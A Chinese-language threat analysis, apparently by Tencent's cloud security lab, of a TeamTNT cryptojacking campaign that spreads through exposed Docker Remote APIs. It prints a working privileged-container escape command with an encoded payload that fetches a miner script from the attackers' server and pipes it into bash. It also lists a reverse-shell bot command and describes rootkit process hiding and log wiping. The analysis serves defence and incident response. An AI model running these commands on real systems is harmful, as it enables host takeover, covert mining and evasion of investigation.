一、背景
騰訊安全云鼎實驗室持續監控云原生在野攻擊威脅態勢,繼DockerHub發現百萬下載量黑產鏡像(詳見文章DockerHub再現百萬下載量黑產鏡像,小心你的容器被挖礦)之后,近期實驗室最新捕獲到TeamTNT黑客團隊新型在野容器攻擊活動,相比之前TeamTNT挖礦木馬,此次新型攻擊手法對原挖礦木馬進行了升級,并利用容器環境進行感染傳播,
通過對TeamTNT新型容器攻擊樣本詳細分析,我們發現挖礦病毒是通過掃描docker remote api未授權訪問漏洞進行傳播,相比之前TeamTNT黑客團隊出的挖礦木馬,此次對原挖礦木馬進行了升級,在進行感染時使用了新的策略,入侵后會先進行清理其他挖礦,并使用新的隱藏行程方法,入侵完畢后會清理痕跡,覆寫系統日志以逃避排查,為增加挖礦木馬植入的成功率還有備用挖礦程式,增加木馬的穩定性,利用nohup命令不掛斷地運行挖礦,并且在使用LKM rootkit技術隱藏行程,
該樣本屬于最新版本TEAMTNT樣本,被云鼎實驗室哨兵系統(云上分布式蜜罐和沙箱)第一時間捕獲,本文將會使用ATT&CK矩陣溯源分析樣本在入侵、持久化、容器逃逸等完整攻擊路徑,為大家清晰還原黑客攻擊手法和全貌,
二、樣本產生時間與流行分析
樣本的開發時間大約在2021年09月14日撰寫完畢,云鼎實驗室哨兵系統在9月14號第一時間捕獲,并進行了詳細的分析,


哨兵捕獲的網路包:

樣本流行程度:
通過哨兵智能情報統計系統,樣本在剛剛爆發的2周內較為流行,隨后感染率持續下降,

三、樣本att&ck矩陣分析
TEAMTNT的新樣本通過docker remote API傳播,程序中使用了 特權容器,容器逃逸,LKM rootkit 等先進攻擊方式,下面是對于整個攻擊程序的ATT&CK矩陣,

下圖為攻擊流程,我們將整個程序分為五個部分講解:1、初始化訪問與對外掃描 2、執行3、權限提升-容器逃逸 4、攻擊持久化 5、防御繞過

3.1 攻擊向量-初始訪問與橫向掃描—Remote API 漏洞:
DockerRemote API :是一個取代遠程命令列界面(rcli)的REST API,默認系結2375埠,Docker Remote API如配置不當可導致未授權訪問,攻擊者利用 docker client 或者 http 直接請求就可以訪問這個 API,可能導致敏感資訊泄露,黑客也可以洗掉Docker上的資料,攻擊者可進一步利用Docker自身特性,直接訪問宿主機上的敏感資訊,或對敏感檔案進行修改,最終完全控制服務器,
A、掃描獲取docker API版本
呼叫masscan 和 zgrab掃描目標IP,通過請求舊版本的命令,可以獲取到最新的docker API版本,
通常獲取1.16版本,會回傳如下資訊:
Handler for GET /v1.16/version returned error: client version 1.16 is too old. Minimum supported API version is 1.24, please upgrade your client to a newer version
相關代碼如下:

B、利用Remote API漏洞:
直接通過Remote API漏洞,遠程啟動傳播病毒的容器鏡像 alpineos/dockerapi,容器使用完成后會自動清除容器內部的檔案系統,啟動alpine 容器進行容器逃逸,

通過騰訊云容器安全服務TCSS發現存在Remote API未授權訪問風險節點和詳細資訊:

3.2 攻擊向量-執行:
在目標機器上的命令執行通過特權容器執行惡意指令,進行挖礦和病毒傳播,
A、惡意鏡像alpineos/dockerapi:

經查詢,alpineos帳號注冊時間為2021年5月26日,其中alpineos/dockerapi鏡像更新時間為截止目前已有一個月,大約有7600臺主機被感染,

通過騰訊云容器安全服務TCSS對該鏡像進行掃描,發現該鏡像存在木馬病毒,掃描結果如下圖:

鏡像啟動時會執行名為pause的腳本,pause腳本用于病毒的傳播,

B、鏡像Alpine
正規白鏡像,鏡像大小只有5M,方便下載,teamTNT使用這個鏡像進行容器逃逸,

3.3攻擊向量-權限提升----Docker逃逸:
TEAMTNT 使用的逃逸方法是特權模式+SSH
特權模式在6.0版本的時候被引入Docker,其核心作用是允許容器內的root擁有外部物理機的root權限,而此前在容器內的root用戶只有外部物理機普通用戶的權限,
使用特權模式啟動容器后(docker run --privileged),Docker容器被允許可以訪問主機上的所有設備、可以獲取大量設備檔案的訪問權限,
TEAMTNT 病毒容器運行的逃逸命令如下:
docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine
chroot /host bash -c 'echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash'
第一步:創建特權容器
docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine
容器本身為干凈的alpine容器,
第二步:SSH容器逃逸
在root目錄下 拷貝ssh密鑰到宿主機,通過訪問127.0.0.1 從而進行容器逃逸,
上述代碼解密后如下:

逃逸后,可以在宿主機上下載moneroocean_miner.sh等腳本進行挖礦,
3.4攻擊向量-防御繞過----清理痕跡與行程隱藏:
在植入挖礦病毒后,會通過diamorphine.sh來隱藏行程,之后清理痕跡,

A、通過diamorphine.sh 隱藏行程:
從github.com/m0nad/Diamorphine下載安裝編譯Diamorphine,加載內核模塊dia.ko,

Diamorphine是一個LKM rootkit ,功能就是 行程隱藏、模塊隱藏,用戶root權限獲取,帶有Magic-prefix 開頭的檔案和目錄隱藏,
這里重點介紹一下 行程隱藏部分,
Rootkit初始化部分會hook getdents、getdents64 和kill 三個函式,其中被hook的kill 函式用于接受命令,進行行程隱藏、root等動作,

Hacked_kill 定義了3個引數,31 用來隱藏行程,64用來獲取root,63用來隱藏自身模塊,

被hook的kill代碼如下:

通過 for_each_process遍歷行程串列找到目標行程,把行程標志設定為PF_INVISIBLE 從而達到隱藏行程的目標,
Find_task代碼如下:

通過kill命令的31信號隱藏挖礦行程(xmrig),并清理記錄

B、痕跡清理
清除命令歷史記錄:
通過洗掉/bash_history 和 執行history -c 命令,清除命令歷史記錄,
清除wtmp,secure、cron 和mail 日志,

C、ld.so.preload清理模塊
ld.so.preload清理模塊使用了base64編碼,解密后可以看到以下功能,
檢查/etc/ld.so.preload預加載檔案,洗掉空的ld.so.preload檔案,如果ld.so.preload有預加載程式,則對其進行清理,

為了能成功洗掉,重新寫了檔案洗掉函式,檔案洗掉函式中使用了chattr和intrecht、ichdarf三個命令,這三個命令實為同一種功能,TeamTNT黑客團隊曾經在入侵時,重命名過系統命令,為能成功執行,系統命令和重命名過的命令一起執行,以提高成功率,

3.5攻擊向量—持久化—釋放遠控
TEAMTNT會下載Chimaera IRC 遠控木馬,木馬沒有加殼,功能較為豐富,這里不做過多介紹,

相關命令和描述如下圖所示:

整理后如下表所示:
| Command | Description (from the binary) |
| NICK <nick> | Changes the nick of the client |
| SERVER <server> | Changes servers |
| GETSPOOFS | Gets the current spoofing |
| SPOOFS <subnet> | Changes spoofing to a subnet |
| DISABLE | Disables all packeting from this client |
| ENABLE | Enables all packeting from this client |
| GET <http address> <save as> | Downloads a file off the web and saves it onto the hd |
| UPDATE <http address> <src:bin> | Update this bot |
| HACKPKG <http address> <bin name> | HackPkg is here! Install a bin, using http, no depends! |
| VERSION | Requests version of client |
| HELP | Displays this |
| IRC <command> | Sends this command to the server |
| SH <command> | Executes a command |
| ISH <command> | SH, interactive, sends to channel |
| SHD <command> | Executes a pseudo-daemonized command |
| GETBB <tftp server> | Get a proper busybox |
| INSTALL <http server/file_name> | Download & install a binary to /var/bin |
| BASH <cmd> | Execute commands using bash. |
| BINUPDATE <http:server/package> | Update a binary in /var/bin via wget |
| SCAN <nmap options> | Call the nmap wrapper script and scan with your opts. |
| RSHELL <server> <port> | Equates to nohup nc ip port -e /bin/sh |
| LOCKUP <http:server> | Kill telnet, d/l aes backdoor from <server>, run that instead. |
| GETSSH <http:server/dropbearmulti> | D/l, install, configure and start dropbear on port 30022 |
| TOETEDENCLIENT | Kill client |
| UPDATE | update |
四、挖礦部分分析
Moneroocean.sh腳本主要用來挖礦:
更改linux最大檔案句柄數的限制,以提高穩定性,并配置防火墻,放行資料包,

清理動態預加載預加載ld.preload,木馬通常使用使用此技術來隱藏木馬檔案,可以實作劫持,TeamTNT團隊的新挖礦程式,清理了此加載檔案,更換隱藏技術,并且可以排除其他挖礦程式,以達到資源獨占,清理模塊使用了base64編碼,上文有進一步分析,

清理其他部分主流挖礦域名:

還原ps命令,并清理定時任務,有些挖礦木馬存在修改系統命令:

清理痕跡,清空系統日志,腳本最后有呼叫,

清理其他挖礦程式,簡單粗暴判定CPU占用65%以上的都為挖礦程式,并結束行程,以達到資源獨占的目的,

實作下載功能,實作類似wget curl功能,用于下載wget curl:

檢查系統中是否有curl,如果沒有則從自己服務器上下載curl程式:

下載錢包檔案,并準備兩個挖礦安裝包,其中一個為備用安裝包:

中止原有的的挖礦程式,下載新版挖礦木馬后重命名,并解壓后洗掉安裝包

檢測挖礦程式是否正常作業,如果被破壞則下載備用挖礦程式,解壓后洗掉安裝包

設定挖礦密碼,把用戶錢包,密碼,礦池地址寫入組態檔,并重命名為“config_background.json”,

創建miner.sh腳本,把腳本寫入.profile,以便在登陸時在后臺運行,

修改大頁記憶體hugepages值,以提高挖礦效率,

創建挖礦服務,服務名為“SystemRaid.service”,

增加挖礦木馬的健壯性,將挖礦程式在后臺運行,

清理痕跡并通過執行diamorphine.sh來隱藏行程,
挖礦資訊總結:
礦池:dl.chimaera.cc:21582
錢包:89sp1qMoognSAbJTprreTXXUv9RG1AJBRjZ3CFg4rn6afQ5hRuqxiWRivYNqZbnYKKdsH5pCiTffrZToSyzXRfMvSHx5Guq
首選挖礦程式:http://teamtnt.red/sh/bin/xmrig/x86_64/mo.tar.gz
備用挖礦程式:https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz
URL:http://teamtnt.red/sh/setup/moneroocean_miner.sh;http://teamtnt.red/sh/setup/diamorphine.sh
五、如何防御
騰訊安全持續在容器安全上進行投入和相關研究,構建了完整的容器安全防護和服務保障體系,針對容器環境下的安全問題,騰訊云容器安全服務通過資產管理、鏡像安全、運行時安全、安全基線四大核心能力來保障容器的全生命周期安全,為企業提供鏡像掃描、運行時安全檢測(容器逃逸、反彈shell、檔案查殺)、高級防御(例外行程攔截、檔案篡改保護、高危系統呼叫監控)、安全基線檢測、資產管理一站式容器安全防護,容器安全服務已集成騰訊云鼎實驗室最新容器安全情報,可第一時間檢測黑產容器鏡像,并針對新型在野攻擊進行有效防御,企業可通過容器安全服務及時發現容器安全風險并快速構建容器安全防護體系,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/330095.html
標籤:其他
